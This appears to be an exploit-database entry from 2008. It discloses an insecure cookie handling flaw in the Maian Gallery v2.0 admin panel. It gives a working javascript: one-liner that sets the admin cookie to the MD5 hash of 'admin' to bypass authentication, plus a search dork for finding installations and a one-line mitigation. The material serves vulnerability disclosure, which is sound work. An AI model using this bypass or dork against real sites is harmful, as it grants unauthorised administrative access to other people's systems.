header-logo
Suggest Exploit
vendor:
Maian Gallery
by:
Saime
7.5
CVSS
HIGH
Insecure Cookie Handling
264
CWE
Product Name: Maian Gallery
Affected Version From: Maian Gallery v2.0
Affected Version To: Maian Gallery v2.0
Patch Exists: YES
Related CWE: N/A
CPE: a:maian_script_world:maian_gallery:2.0
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2008

Maian Gallery v2.0 Insecure Cookie Handling Vulnerability

Maian Gallery v2.0 is suffering from insecure cookie handling, the /admin/index.php only checks if cookie mgallery_admin_cookie, equals admin username(md5). An exploit can be used by setting the cookie value to md5(the username). For example, 21232f297a57a5a743894a0e4a801fc3 = admin

Mitigation:

Ensure that the cookie value is properly validated and encrypted before being used.
Source

Exploit-DB raw data:

Author: Saime
Date: July 12, 2008
Script: Maian Gallery v2.0 Insecure Cookie Handling Vulnerability
URL: http://www.maianscriptworld.co.uk
Dork: Maian Gallery v2.0 Copyright © 2006-2008 Maian Script World. All Rights Reserved.

Description:
Maian Gallery v2.0 is suffering from insecure cookie handling, the /admin/index.php only checks if cookie mgallery_admin_cookie,
equals admin username(md5)

Exploit:
javascript:document.cookie = "mgallery_admin_cookie=21232f297a57a5a743894a0e4a801fc3; path=/php/demos/mgallery/admin/"

Note:
The cookie value must be md5(the username). For example, 21232f297a57a5a743894a0e4a801fc3 = admin

# milw0rm.com [2008-07-12]